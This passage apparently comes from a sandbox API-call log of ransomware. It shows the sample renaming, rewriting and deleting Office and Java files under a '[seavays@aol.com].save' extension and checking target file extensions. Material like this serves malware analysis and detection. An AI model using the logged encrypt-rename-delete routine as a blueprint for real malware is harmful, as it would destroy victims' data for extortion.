shared\\ClickToRun\\AppvIsvSubsystems64.dll.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvsubsystems64.dll.id-b4197730.[seavays@aol.com].save")) returned 0 [0159.970] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso20win32client.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso20win32client.dll"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso20win32client.dll.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso20win32client.dll.id-b4197730.[seavays@aol.com].save")) returned 0 [0159.971] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso30win32client.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso30win32client.dll"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso30win32client.dll.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso30win32client.dll.id-b4197730.[seavays@aol.com].save")) returned 0 [0159.971] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uires.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso40uires.dll"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uires.dll.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso40uires.dll.id-b4197730.[seavays@aol.com].save")) returned 0 [0159.972] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uiwin32client.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso40uiwin32client.dll"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uiwin32client.dll.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso40uiwin32client.dll.id-b4197730.[seavays@aol.com].save")) returned 0 [0159.972] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeClickToRun.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officeclicktorun.exe"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeClickToRun.exe.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officeclicktorun.exe.id-b4197730.[seavays@aol.com].save")) returned 0 [0160.016] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\InkObj.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\inkobj.dll"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\InkObj.dll.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\inkobj.dll.id-b4197730.[seavays@aol.com].save")) returned 0 [0160.667] MoveFileW (lpExistingFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\jvm.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\server\\jvm.dll"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\jvm.dll.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\server\\jvm.dll.id-b4197730.[seavays@aol.com].save")) returned 0 [0160.684] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cffec0 | out: lpNewFilePointer=0x0) returned 1 [0160.685] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cffec0 | out: lpNewFilePointer=0x0) returned 1 [0160.685] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\COPYRIGHT.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\java\\jre1.8.0_144\\copyright.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0160.694] GetLastError () returned 0x0 [0160.694] ReadFile (in: hFile=0x38c, lpBuffer=0x41db020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cffecc, lpOverlapped=0x0 | out: lpBuffer=0x41db020*, lpNumberOfBytesRead=0x3cffecc*=0xcac, lpOverlapped=0x0) returned 1 [0160.709] WriteFile (in: hFile=0x390, lpBuffer=0x41db020*, nNumberOfBytesToWrite=0xcb0, lpNumberOfBytesWritten=0x3cffc94, lpOverlapped=0x0 | out: lpBuffer=0x41db020*, lpNumberOfBytesWritten=0x3cffc94*=0xcb0, lpOverlapped=0x0) returned 1 [0161.085] ReadFile (in: hFile=0x38c, lpBuffer=0x41db020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cffecc, lpOverlapped=0x0 | out: lpBuffer=0x41db020*, lpNumberOfBytesRead=0x3cffecc*=0x0, lpOverlapped=0x0) returned 1 [0161.086] WriteFile (in: hFile=0x390, lpBuffer=0x41db020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x3cffc94, lpOverlapped=0x0 | out: lpBuffer=0x41db020*, lpNumberOfBytesWritten=0x3cffc94*=0xe6, lpOverlapped=0x0) returned 1 [0161.086] SetEndOfFile (hFile=0x390) returned 1 [0161.086] CloseHandle (hObject=0x390) returned 1 [0161.086] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cffec0 | out: lpNewFilePointer=0x0) returned 1 [0161.086] SetEndOfFile (hFile=0x38c) returned 1 [0161.092] CloseHandle (hObject=0x38c) returned 1 [0161.093] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\COPYRIGHT.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x20) returned 1 [0161.093] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\COPYRIGHT" (normalized: "c:\\program files\\java\\jre1.8.0_144\\copyright")) returned 1 [0161.094] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\COPYRIGHT") returned 44 [0161.094] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\COPYRIGHT") returned 44 [0161.094] lstrlenW (lpString=".doc") returned 4 [0161.094] lstrcmpiW (lpString1=".doc", lpString2="IGHT") returned -1 [0161.094] lstrlenW (lpString=".docx") returned 5 [0161.094] lstrcmpiW (lpString1=".docx", lpString2="RIGHT") returned -1 [0161.094] lstrlenW (lpString=".pdf") returned 4 [0161.094] lstrcmpiW (lpString1=".pdf", lpString2="IGHT") returned -1 [0161.094] lstrlenW (lpString=".xls") returned 4 [0161.095] lstrcmpiW (lpString1=".xls", lpString2="IGHT") returned -1 [0161.095] lstrlenW (lpString=".xlsx") returned 5 [0161.095] lstrcmpiW (lpString1=".xlsx", lpString2="RIGHT") returned -1 [0161.095] lstrlenW (lpString=".ppt") returned 4 [0161.095] lstrcmpiW (lpString1=".ppt", lpString2="IGHT") returned -1 [0161.095] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\COPYRIGHT") returned 44 [0161.095] lstrlenW (lpString=".zip") returned 4 [0161.095] lstrcmpiW (lpString1=".zip", lpString2="IGHT") returned -1 [0161.095] lstrlenW (lpString=".rar") returned 4 [0161.095] lstrcmpiW (lpString1=".rar", lpString2="IGHT") returned -1 [0161.095] lstrlenW (lpString=".bz2") returned 4 [0161.095] lstrcmpiW (lpString1=".bz2", lpString2="IGHT") returned -1 [0161.095] lstrlenW (lpString=".7z") returned 3 [0161.095] lstrcmpiW (lpString1=".7z", lpString2="GHT") returned -1 [0161.095] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\COPYRIGHT") returned 44 [0161.095] lstrlenW (lpString=".dbf") returned 4 [0161.095] lstrcmpiW (lpString1=".dbf", lpString2="IGHT") returned -1 [0161.095] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\COPYRIGHT") returned 44 [0161.095] lstrlenW (lpString=".1cd") returned 4 [0161.095] lstrcmpiW (lpString1=".1cd", lpString2="IGHT") returned -1 [0161.095] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\COPYRIGHT") returned 44 [0161.095] lstrlenW (lpString=".jpg") returned 4 [0161.095] lstrcmpiW (lpString1=".jpg", lpString2="IGHT") returned -1 [0161.095] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\COPYRIGHT") returned 44 [0161.096] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\COPYRIGHT") returned 44 [0161.096] lstrlenW (lpString=".doc") returned 4 [0161.096] lstrcmpiW (lpString1=".doc", lpString2="IGHT") returned -1 [0161.096] lstrlenW (lpString=".docx") returned 5 [0161.096] lstrcmpiW (lpString1=".docx", lpString2="RIGHT") returned -1 [0161.096] lstrlenW (lpString=".pdf") returned 4 [0161.096] lstrcmpiW (lpString1=".pdf", lpString2="IGHT") returned -1 [0161.096] lstrlenW (lpString=".xls") returned 4 [0161.096] lstrcmpiW (lpString1=".xls", lpString2="IGHT") returned -1 [0161.096] lstrlenW (lpString=".xlsx") returned 5 [0161.096] lstrcmpiW (lpString1=".xlsx", lpString2="RIGHT") returned -1 [0161.096] lstrlenW (lpString=".ppt") returned 4 [0161.096] lstrcmpiW (lpString1=".ppt", lpString2="IGHT") returned -1 [0161.096] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\COPYRIGHT") returned 44 [0161.096] lstrlenW (lpString=".zip") returned 4 [0161.096] lstrcmpiW (lpString1=".zip", lpString2="IGHT") returned -1 [0161.096] lstrlenW (lpString=".rar") returned 4 [0161.096] lstrcmpiW (lpString1=".rar", lpString2="IGHT") returned -1 [0161.096] lstrlenW (lpString=".bz2") returned 4 [0161.096] lstrcmpiW (lpString1=".bz2", lpString2="IGHT") returned -1 [0161.096] lstrlenW (lpString=".7z") returned 3 [0161.096] lstrcmpiW (lpString1=".7z", lpString2="GHT") returned -1 [0161.096] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\COPYRIGHT") returned 44 [0161.096] lstrlenW (lpString=".dbf") returned 4 [0161.096] lstrcmpiW (lpString1=".dbf", lpString2="IGHT") returned -1 [0161.096] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\COPYRIGHT") returned 44 [0161.097] lstrlenW (lpString=".1cd") returned 4 [0161.097] lstrcmpiW (lpString1=".1cd", lpString2="IGHT") returned -1 [0161.097] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\COPYRIGHT") returned 44 [0161.097] lstrlenW (lpString=".jpg") returned 4 [0161.097] lstrcmpiW (lpString1=".jpg", lpString2="IGHT") returned -1 [0161.097] lstrcmpiW (lpString1=".pf", lpString2=".save") returned -1 [0161.097] lstrlenW (lpString="CIEXYZ.pf") returned 9 [0161.097] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\CIEXYZ.pf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\ciexyz.pf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0161.098] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x3cfff14 | out: lpFileSize=0x3cfff14*=51236) returned 1 [0161.098] CloseHandle (hObject=0x38c) returned 1 [0161.098] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\CIEXYZ.pf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\ciexyz.pf")) returned 0x20 [0161.098] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\CIEXYZ.pf.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\ciexyz.pf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0161.098] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\CIEXYZ.pf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\ciexyz.pf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0161.099] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cffec0 | out: lpNewFilePointer=0x0) returned 1 [0161.099] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cffec0 | out: lpNewFilePointer=0x0) returned 1 [0161.099] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\CIEXYZ.pf.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\ciexyz.pf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0161.101] GetLastError () returned 0x0 [0161.101] ReadFile (in: hFile=0x38c, lpBuffer=0x41db020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cffecc, lpOverlapped=0x0 | out: lpBuffer=0x41db020*, lpNumberOfBytesRead=0x3cffecc*=0xc824, lpOverlapped=0x0) returned 1 [0161.106] WriteFile (in: hFile=0x390, lpBuffer=0x41db020*, nNumberOfBytesToWrite=0xc830, lpNumberOfBytesWritten=0x3cffc94, lpOverlapped=0x0 | out: lpBuffer=0x41db020*, lpNumberOfBytesWritten=0x3cffc94*=0xc830, lpOverlapped=0x0) returned 1 [0161.109] ReadFile (in: hFile=0x38c, lpBuffer=0x41db020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cffecc, lpOverlapped=0x0 | out: lpBuffer=0x41db020*, lpNumberOfBytesRead=0x3cffecc*=0x0, lpOverlapped=0x0) returned 1 [0161.109] WriteFile (in: hFile=0x390, lpBuffer=0x41db020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x3cffc94, lpOverlapped=0x0 | out: lpBuffer=0x41db020*, lpNumberOfBytesWritten=0x3cffc94*=0xe6, lpOverlapped=0x0) returned 1 [0161.109] SetEndOfFile (hFile=0x390) returned 1 [0161.109] CloseHandle (hObject=0x390) returned 1 [0161.109] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cffec0 | out: lpNewFilePointer=0x0) returned 1 [0161.109] SetEndOfFile (hFile=0x38c) returned 1 [0161.114] CloseHandle (hObject=0x38c) returned 1 [0161.115] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\CIEXYZ.pf.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x20) returned 1 [0161.115] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\CIEXYZ.pf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\ciexyz.pf")) returned 1 [0161.116] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\CIEXYZ.pf") returned 52 [0161.116] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\CIEXYZ.pf") returned 52 [0161.116] lstrlenW (lpString=".doc") returned 4 [0161.116] lstrcmpiW (lpString1=".doc", lpString2="Z.pf") returned -1 [0161.116] lstrlenW (lpString=".docx") returned 5 [0161.116] lstrcmpiW (lpString1=".docx", lpString2="YZ.pf") returned -1 [0161.116] lstrlenW (lpString=".pdf") returned 4 [0161.116] lstrcmpiW (lpString1=".pdf", lpString2="Z.pf") returned -1 [0161.116] lstrlenW (lpString=".xls") returned 4 [0161.116] lstrcmpiW (lpString1=".xls", lpString2="Z.pf") returned -1 [0161.116] lstrlenW (lpString=".xlsx") returned 5 [0161.116] lstrcmpiW (lpString1=".xlsx", lpString2="YZ.pf") returned -1 [0161.116] lstrlenW (lpString=".ppt") returned 4 [0161.116] lstrcmpiW (lpString1=".ppt", lpString2="Z.pf") returned -1 [0161.116] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\CIEXYZ.pf") returned 52 [0161.116] lstrlenW (lpString=".zip") returned 4 [0161.116] lstrcmpiW (lpString1=".zip", lpString2="Z.pf") returned -1 [0161.116] lstrlenW (lpString=".rar") returned 4 [0161.117] lstrcmpiW (lpString1=".rar", lpString2="Z.pf") returned -1 [0161.117] lstrlenW (lpString=".bz2") returned 4 [0161.117] lstrcmpiW (lpString1=".bz2", lpString2="Z.pf") returned -1 [0161.117] lstrlenW (lpString=".7z") returned 3 [0161.117] lstrcmpiW (lpString1=".7z", lpString2=".pf") returned -1 [0161.117] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\CIEXYZ.pf") returned 52 [0161.117] lstrlenW (lpString=".dbf") returned 4 [0161.117] lstrcmpiW (lpString1=".dbf", lpString2="Z.pf") returned -1 [0161.117] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\CIEXYZ.pf") returned 52 [0161.117] lstrlenW (lpString=".1cd") returned 4 [0161.117] lstrcmpiW (lpString1=".1cd", lpString2="Z.pf") returned -1 [0161.117] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\CIEXYZ.pf") returned 52 [0161.117] lstrlenW (lpString=".jpg") returned 4 [0161.117] lstrcmpiW (lpString1=".jpg", lpString2="Z.pf") returned -1 [0161.117] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\CIEXYZ.pf") returned 52 [0161.117] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\CIEXYZ.pf") returned 52 [0161.117] lstrlenW (lpString=".doc") returned 4 [0161.117] lstrcmpiW (lpString1=".doc", lpString2="Z.pf") returned -1 [0161.117] lstrlenW (lpString=".docx") returned 5 [0161.117] lstrcmpiW (lpString1=".docx", lpString2="YZ.pf") returned -1 [0161.117] lstrlenW (lpString=".pdf") returned 4 [0161.117] lstrcmpiW (lpString1=".pdf", lpString2="Z.pf") returned -1 [0161.117] lstrlenW (lpString=".xls") returned 4 [0161.117] lstrcmpiW (lpString1=".xls", lpString2="Z.pf") returned -1 [0161.118] lstrlenW (lpString=".xlsx") returned 5 [0161.118] lstrcmpiW (lpString1=".xlsx", lpString2="YZ.pf") returned -1 [0161.118] lstrlenW (lpString=".ppt") returned 4 [0161.118] lstrcmpiW (lpString1=".ppt", lpString2="Z.pf") returned -1 [0161.118] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\CIEXYZ.pf") returned 52 [0161.118] lstrlenW (lpString=".zip") returned 4 [0161.118] lstrcmpiW (lpString1=".zip", lpString2="Z.pf") returned -1 [0161.118] lstrlenW (lpString=".rar") returned 4 [0161.118] lstrcmpiW (lpString1=".rar", lpString2="Z.pf") returned -1 [0161.118] lstrlenW (lpString=".bz2") returned 4 [0161.118] lstrcmpiW (lpString1=".bz2", lpString2="Z.pf") returned -1 [0161.118] lstrlenW (lpString=".7z") returned 3 [0161.118] lstrcmpiW (lpString1=".7z", lpString2=".pf") returned -1 [0161.118] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\CIEXYZ.pf") returned 52 [0161.118] lstrlenW (lpString=".dbf") returned 4 [0161.118] lstrcmpiW (lpString1=".dbf", lpString2="Z.pf") returned -1 [0161.118] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\CIEXYZ.pf") returned 52 [0161.118] lstrlenW (lpString=".1cd") returned 4 [0161.118] lstrcmpiW (lpString1=".1cd", lpString2="Z.pf") returned -1 [0161.118] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\CIEXYZ.pf") returned 52 [0161.118] lstrlenW (lpString=".jpg") returned 4 [0161.118] lstrcmpiW (lpString1=".jpg", lpString2="Z.pf") returned -1 [0161.119] lstrcmpiW (lpString1=".pf", lpString2=".save") returned -1 [0161.119] lstrlenW (lpString="GRAY.pf") returned 7 [0161.119] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\GRAY.pf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\gray.pf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0161.120] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x3cfff14 | out: lpFileSize=0x3cfff14*=632) returned 1 [0161.120] CloseHandle (hObject=0x38c) returned 1 [0161.120] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\GRAY.pf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\gray.pf")) returned 0x20 [0161.120] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\GRAY.pf.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\gray.pf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0161.120] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\GRAY.pf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\gray.pf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0161.121] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cffec0 | out: lpNewFilePointer=0x0) returned 1 [0161.121] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cffec0 | out: lpNewFilePointer=0x0) returned 1 [0161.121] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\GRAY.pf.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\gray.pf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0161.122] GetLastError () returned 0x0 [0161.122] ReadFile (in: hFile=0x38c, lpBuffer=0x41db020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cffecc, lpOverlapped=0x0 | out: lpBuffer=0x41db020*, lpNumberOfBytesRead=0x3cffecc*=0x278, lpOverlapped=0x0) returned 1 [0161.530] WriteFile (in: hFile=0x390, lpBuffer=0x41db020*, nNumberOfBytesToWrite=0x280, lpNumberOfBytesWritten=0x3cffc94, lpOverlapped=0x0 | out: lpBuffer=0x41db020*, lpNumberOfBytesWritten=0x3cffc94*=0x280, lpOverlapped=0x0) returned 1 [0161.532] ReadFile (in: hFile=0x38c, lpBuffer=0x41db020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cffecc, lpOverlapped=0x0 | out: lpBuffer=0x41db020*, lpNumberOfBytesRead=0x3cffecc*=0x0, lpOverlapped=0x0) returned 1 [0161.532] WriteFile (in: hFile=0x390, lpBuffer=0x41db020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x3cffc94, lpOverlapped=0x0 | out: lpBuffer=0x41db020*, lpNumberOfBytesWritten=0x3cffc94*=0xe2, lpOverlapped=0x0) returned 1 [0161.532] SetEndOfFile (hFile=0x390) returned 1 [0161.532] CloseHandle (hObject=0x390) returned 1 [0161.532] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cffec0 | out: lpNewFilePointer=0x0) returned 1 [0161.533] SetEndOfFile (hFile=0x38c) returned 1 [0161.597] CloseHandle (hObject=0x38c) returned 1 [0161.597] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\GRAY.pf.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x20) returned 1 [0162.139] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\GRAY.pf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\gray.pf")) returned 1 [0162.606] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\GRAY.pf") returned 50 [0162.606] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\GRAY.pf") returned 50 [0162.606] lstrlenW (lpString=".doc") returned 4 [0162.606] lstrcmpiW (lpString1=".doc", lpString2="Y.pf") returned -1 [0162.606] lstrlenW (lpString=".docx") returned 5 [0162.606] lstrcmpiW (lpString1=".docx", lpString2="AY.pf") returned -1 [0162.606] lstrlenW (lpString=".pdf") returned 4 [0162.607] lstrcmpiW (lpString1=".pdf", lpString2="Y.pf") returned -1 [0162.607] lstrlenW (lpString=".xls") returned 4 [0162.607] lstrcmpiW (lpString1=".xls", lpString2="Y.pf") returned -1 [0162.607] lstrlenW (lpString=".xlsx") returned 5 [0162.607] lstrcmpiW (lpString1=".xlsx", lpString2="AY.pf") returned -1 [0162.607] lstrlenW (lpString=".ppt") returned 4 [0162.607] lstrcmpiW (lpString1=".ppt", lpString2="Y.pf") returned -1 [0162.607] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\GRAY.pf") returned 50 [0162.607] lstrlenW (lpString=".zip") returned 4 [0162.607] lstrcmpiW (lpString1=".zip", lpString2="Y.pf") returned -1 [0162.607] lstrlenW (lpString=".rar") returned 4 [0162.607] lstrcmpiW (lpString1=".rar", lpString2="Y.pf") returned -1 [0162.607] lstrlenW (lpString=".bz2") returned 4 [0162.607] lstrcmpiW (lpString1=".bz2", lpString2="Y.pf") returned -1 [0162.607] lstrlenW (lpString=".7z") returned 3 [0162.607] lstrcmpiW (lpString1=".7z", lpString2=".pf") returned -1 [0162.607] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\GRAY.pf") returned 50 [0162.607] lstrlenW (lpString=".dbf") returned 4 [0162.607] lstrcmpiW (lpString1=".dbf", lpString2="Y.pf") returned -1 [0162.607] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\GRAY.pf") returned 50 [0162.607] lstrlenW (lpString=".1cd") returned 4 [0162.607] lstrcmpiW (lpString1=".1cd", lpString2="Y.pf") returned -1 [0162.607] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\GRAY.pf") returned 50 [0162.607] lstrlenW (lpString=".jpg") returned 4 [0162.607] lstrcmpiW (lpString1=".jpg", lpString2="Y.pf") returned -1 [0162.608] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\GRAY.pf") returned 50 [0162.608] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\GRAY.pf") returned 50 [0162.608] lstrlenW (lpString=".doc") returned 4 [0162.608] lstrcmpiW (lpString1=".doc", lpString2="Y.pf") returned -1 [0162.608] lstrlenW (lpString=".docx") returned 5 [0162.608] lstrcmpiW (lpString1=".docx", lpString2="AY.pf") returned -1 [0162.608] lstrlenW (lpString=".pdf") returned 4 [0162.608] lstrcmpiW (lpString1=".pdf", lpString2="Y.pf") returned -1 [0162.608] lstrlenW (lpString=".xls") returned 4 [0162.608] lstrcmpiW (lpString1=".xls", lpString2="Y.pf") returned -1 [0162.608] lstrlenW (lpString=".xlsx") returned 5 [0162.608] lstrcmpiW (lpString1=".xlsx", lpString2="AY.pf") returned -1 [0162.608] lstrlenW (lpString=".ppt") returned 4 [0162.608] lstrcmpiW (lpString1=".ppt", lpString2="Y.pf") returned -1 [0162.608] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\GRAY.pf") returned 50 [0162.608] lstrlenW (lpString=".zip") returned 4 [0162.608] lstrcmpiW (lpString1=".zip", lpString2="Y.pf") returned -1 [0162.608] lstrlenW (lpString=".rar") returned 4 [0162.608] lstrcmpiW (lpString1=".rar", lpString2="Y.pf") returned -1 [0162.608] lstrlenW (lpString=".bz2") returned 4 [0162.608] lstrcmpiW (lpString1=".bz2", lpString2="Y.pf") returned -1 [0162.608] lstrlenW (lpString=".7z") returned 3 [0162.608] lstrcmpiW (lpString1=".7z", lpString2=".pf") returned -1 [0162.608] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\GRAY.pf") returned 50 [0162.608] lstrlenW (lpString=".dbf") returned 4 [0162.609] 